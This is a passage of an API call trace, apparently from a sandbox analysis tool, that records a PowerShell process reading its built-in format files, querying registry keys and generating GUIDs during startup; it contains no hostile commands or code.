(pv=0x1b3cdff0) [0088.735] RegCloseKey (hKey=0x308) returned 0x0 [0088.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0088.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xecc00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0088.795] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x8dcaff54, Data2=0xc227, Data3=0x4805, Data4=([0]=0x99, [1]=0xdc, [2]=0x75, [3]=0xfb, [4]=0xa5, [5]=0x96, [6]=0x8a, [7]=0x35))) returned 0x0 [0088.837] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xb4649283, Data2=0x86a8, Data3=0x4498, Data4=([0]=0x99, [1]=0xa8, [2]=0x30, [3]=0xc3, [4]=0x5, [5]=0x58, [6]=0x24, [7]=0xf8))) returned 0x0 [0088.840] SetErrorMode (uMode=0x1) returned 0x1 [0088.840] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308 [0088.840] GetFileType (hFile=0x308) returned 0x1 [0088.840] SetErrorMode (uMode=0x1) returned 0x1 [0088.840] GetFileType (hFile=0x308) returned 0x1 [0088.840] ReadFile (in: hFile=0x308, lpBuffer=0x3302718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3302718*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0088.844] ReadFile (in: hFile=0x308, lpBuffer=0x3302718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3302718*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0088.845] ReadFile (in: hFile=0x308, lpBuffer=0x3302718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3302718*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0088.846] ReadFile (in: hFile=0x308, lpBuffer=0x3302718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3302718*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0088.846] ReadFile (in: hFile=0x308, lpBuffer=0x3302718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3302718*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0088.847] ReadFile (in: hFile=0x308, lpBuffer=0x3302718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3302718*, lpNumberOfBytesRead=0xed078*=0xfb2, lpOverlapped=0x0) returned 1 [0088.848] ReadFile (in: hFile=0x308, lpBuffer=0x3301e32, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3301e32*, lpNumberOfBytesRead=0xed078*=0x0, lpOverlapped=0x0) returned 1 [0088.848] ReadFile (in: hFile=0x308, lpBuffer=0x3302718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3302718*, lpNumberOfBytesRead=0xed078*=0x0, lpOverlapped=0x0) returned 1 [0088.848] CloseHandle (hObject=0x308) returned 1 [0088.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecdc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0088.848] SetErrorMode (uMode=0x1) returned 0x1 [0088.848] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xed020 | out: lpFileInformation=0xed020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0088.848] SetErrorMode (uMode=0x1) returned 0x1 [0088.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0088.849] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed108 | out: phkResult=0xed108*=0x308) returned 0x0 [0088.849] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed08c, lpData=0x0, lpcbData=0xed088*=0x0 | out: lpType=0xed08c*=0x1, lpData=0x0, lpcbData=0xed088*=0x56) returned 0x0 [0088.849] CoTaskMemAlloc (cb=0x5a) returned 0x1b3cdff0 [0088.849] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed05c, lpData=0x1b3cdff0, lpcbData=0xed058*=0x56 | out: lpType=0xed05c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed058*=0x56) returned 0x0 [0088.849] CoTaskMemFree (pv=0x1b3cdff0) [0088.849] RegCloseKey (hKey=0x308) returned 0x0 [0088.849] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0088.849] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecc00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0088.850] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x9812be40, Data2=0x8c71, Data3=0x4383, Data4=([0]=0x90, [1]=0x2e, [2]=0x1f, [3]=0x7a, [4]=0xec, [5]=0x7d, [6]=0xe5, [7]=0x1b))) returned 0x0 [0088.853] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x50d78984, Data2=0x84bf, Data3=0x42e1, Data4=([0]=0x82, [1]=0x54, [2]=0xd, [3]=0xf0, [4]=0xf, [5]=0x3f, [6]=0x3b, [7]=0xc9))) returned 0x0 [0088.855] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x559770de, Data2=0xe46d, Data3=0x4825, Data4=([0]=0xbd, [1]=0x2e, [2]=0xad, [3]=0x3b, [4]=0xec, [5]=0xa0, [6]=0x56, [7]=0x43))) returned 0x0 [0088.855] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x211a3438, Data2=0x9ff1, Data3=0x49fa, Data4=([0]=0x88, [1]=0xf9, [2]=0xc7, [3]=0x84, [4]=0x74, [5]=0xe4, [6]=0xd6, [7]=0xe6))) returned 0x0 [0088.855] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xa532527f, Data2=0xb3f6, Data3=0x4bca, Data4=([0]=0xaf, [1]=0xd3, [2]=0x8e, [3]=0x3e, [4]=0xd6, [5]=0xd6, [6]=0xee, [7]=0x5))) returned 0x0 [0088.855] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xc9429a9a, Data2=0x2309, Data3=0x4767, Data4=([0]=0x8c, [1]=0xa4, [2]=0x20, [3]=0x4a, [4]=0x14, [5]=0x57, [6]=0x6c, [7]=0xdf))) returned 0x0 [0088.864] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed108 | out: phkResult=0xed108*=0x308) returned 0x0 [0088.864] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed08c, lpData=0x0, lpcbData=0xed088*=0x0 | out: lpType=0xed08c*=0x1, lpData=0x0, lpcbData=0xed088*=0x56) returned 0x0 [0088.864] CoTaskMemAlloc (cb=0x5a) returned 0x1b3cdff0 [0088.864] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed05c, lpData=0x1b3cdff0, lpcbData=0xed058*=0x56 | out: lpType=0xed05c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed058*=0x56) returned 0x0 [0088.864] RegCloseKey (hKey=0x308) returned 0x0 [0088.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0088.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecc00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0088.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3c [0088.870] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0088.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0088.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0088.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0089.005] VirtualQuery (in: lpAddress=0xebba0, lpBuffer=0xeca60, dwLength=0x30 | out: lpBuffer=0xeca60*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.006] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x76c9902d, Data2=0xe1cd, Data3=0x4140, Data4=([0]=0xa8, [1]=0x47, [2]=0xf5, [3]=0x4c, [4]=0xa0, [5]=0x5, [6]=0x16, [7]=0x97))) returned 0x0 [0089.007] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x52635e6e, Data2=0x19a, Data3=0x4f61, Data4=([0]=0xab, [1]=0xd1, [2]=0xe5, [3]=0xae, [4]=0xd4, [5]=0x8f, [6]=0x15, [7]=0x1d))) returned 0x0 [0089.007] VirtualQuery (in: lpAddress=0xebd50, lpBuffer=0xecc10, dwLength=0x30 | out: lpBuffer=0xecc10*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.008] VirtualQuery (in: lpAddress=0xebd50, lpBuffer=0xecc10, dwLength=0x30 | out: lpBuffer=0xecc10*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.009] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x4120299e, Data2=0x1b3e, Data3=0x4067, Data4=([0]=0x8a, [1]=0x9a, [2]=0x3a, [3]=0xc7, [4]=0xa3, [5]=0x8c, [6]=0x28, [7]=0x6f))) returned 0x0 [0089.011] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x960b2f99, Data2=0x3826, Data3=0x4f65, Data4=([0]=0xa0, [1]=0xc7, [2]=0x33, [3]=0xd2, [4]=0x87, [5]=0xbc, [6]=0xe2, [7]=0xf5))) returned 0x0 [0089.012] VirtualQuery (in: lpAddress=0xebfa0, lpBuffer=0xece60, dwLength=0x30 | out: lpBuffer=0xece60*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.013] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xf423c692, Data2=0xfb0d, Data3=0x458b, Data4=([0]=0xae, [1]=0x3f, [2]=0x4d, [3]=0x2e, [4]=0xe4, [5]=0xec, [6]=0xce, [7]=0x21))) returned 0x0 [0089.014] VirtualQuery (in: lpAddress=0xeb610, lpBuffer=0xec4d0, dwLength=0x30 | out: lpBuffer=0xec4d0*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.015] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xba0f0cb4, Data2=0xa6c, Data3=0x47ac, Data4=([0]=0xbf, [1]=0xd4, [2]=0x3, [3]=0x28, [4]=0x5d, [5]=0x4b, [6]=0xa, [7]=0x20))) returned 0x0 [0089.015] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xdb1ceded, Data2=0xa951, Data3=0x4459, Data4=([0]=0x84, [1]=0xd6, [2]=0x82, [3]=0x53, [4]=0xe, [5]=0x6, [6]=0x5, [7]=0x38))) returned 0x0 [0089.015] SetErrorMode (uMode=0x1) returned 0x1 [0089.017] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.029] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.029] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.030] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.030] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.030] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.030] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.031] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.031] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.031] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.031] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.032] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.032] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.032] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.032] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.033] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0089.033] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0xbce, lpOverlapped=0x0) returned 1 [0089.034] ReadFile (in: hFile=0x308, lpBuffer=0x3400146, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400146*, lpNumberOfBytesRead=0xed078*=0x0, lpOverlapped=0x0) returned 1 [0089.034] ReadFile (in: hFile=0x308, lpBuffer=0x3400a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x3400a10*, lpNumberOfBytesRead=0xed078*=0x0, lpOverlapped=0x0) returned 1 [0089.034] CloseHandle (hObject=0x308) returned 1 [0089.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecdc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0089.034] SetErrorMode (uMode=0x1) returned 0x1 [0089.034] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xed020 | out: lpFileInformation=0xed020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0089.034] SetErrorMode (uMode=0x1) returned 0x1 [0089.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0089.035] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed108 | out: phkResult=0xed108*=0x308) returned 0x0 [0089.035] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed08c, lpData=0x0, lpcbData=0xed088*=0x0 | out: lpType=0xed08c*=0x1, lpData=0x0, lpcbData=0xed088*=0x56) returned 0x0 [0089.035] CoTaskMemAlloc (cb=0x5a) returned 0x1b3cdea0 [0089.035] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed05c, lpData=0x1b3cdea0, lpcbData=0xed058*=0x56 | out: lpType=0xed05c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed058*=0x56) returned 0x0 [0089.035] CoTaskMemFree (pv=0x1b3cdea0) [0089.035] RegCloseKey (hKey=0x308) returned 0x0 [0089.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0089.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecc00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0089.039] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x77e9effc, Data2=0x9591, Data3=0x4566, Data4=([0]=0x98, [1]=0x6d, [2]=0x13, [3]=0xc4, [4]=0x44, [5]=0x86, [6]=0xd0, [7]=0x79))) returned 0x0 [0089.039] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x5d843bff, Data2=0x9a19, Data3=0x4084, Data4=([0]=0x8e, [1]=0x27, [2]=0xfb, [3]=0x50, [4]=0xa9, [5]=0xd0, [6]=0xfd, [7]=0x5f))) returned 0x0 [0089.040] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xf21811c4, Data2=0x7b85, Data3=0x4a18, Data4=([0]=0x8d, [1]=0xc8, [2]=0x6e, [3]=0x23, [4]=0xcb, [5]=0xa, [6]=0x17, [7]=0xc9))) returned 0x0 [0089.040] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xd53c6be0, Data2=0x4a16, Data3=0x45ce, Data4=([0]=0x86, [1]=0x77, [2]=0xba, [3]=0xeb, [4]=0x8b, [5]=0xf3, [6]=0x54, [7]=0xea))) returned 0x0 [0089.041] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xc5f2b8f0, Data2=0x2370, Data3=0x44da, Data4=([0]=0xbf, [1]=0x3c, [2]=0x5e, [3]=0x7c, [4]=0xd4, [5]=0x18, [6]=0xe0, [7]=0xdb))) returned 0x0 [0089.041] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xab846ccf, Data2=0x78d2, Data3=0x431e, Data4=([0]=0x83, [1]=0xb1, [2]=0x8d, [3]=0x14, [4]=0x32, [5]=0xf3, [6]=0xe8, [7]=0xf6))) returned 0x0 [0089.042] VirtualQuery (in: lpAddress=0xebce0, lpBuffer=0xecba0, dwLength=0x30 | out: lpBuffer=0xecba0*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.043] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xaaad4326, Data2=0x4362, Data3=0x4a81, Data4=([0]=0xb3, [1]=0x36, [2]=0x19, [3]=0xe9, [4]=0x85, [5]=0xaf, [6]=0xe3, [7]=0x1d))) returned 0x0 [0089.043] VirtualQuery (in: lpAddress=0xebce0, lpBuffer=0xecba0, dwLength=0x30 | out: lpBuffer=0xecba0*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.044] VirtualQuery (in: lpAddress=0xebce0, lpBuffer=0xecba0, dwLength=0x30 | out: lpBuffer=0xecba0*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.045] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xd2b1063a, Data2=0xbe6b, Data3=0x4f50, Data4=([0]=0x96, [1]=0x81, [2]=0x69, [3]=0xb8, [4]=0xed, [5]=0x93, [6]=0xd5, [7]=0x84))) returned 0x0 [0089.046] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x842d50eb, Data2=0x84ba, Data3=0x4dad, Data4=([0]=0xba, [1]=0x41, [2]=0x1c, [3]=0x88, [4]=0x3e, [5]=0x20, [6]=0xf9, [7]=0x23))) returned 0x0 [0089.046] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x97cbf45d, Data2=0x261d, Data3=0x4e01, Data4=([0]=0xb5, [1]=0x54, [2]=0x6c, [3]=0xf4, [4]=0x97, [5]=0xce, [6]=0xa8, [7]=0xcd))) returned 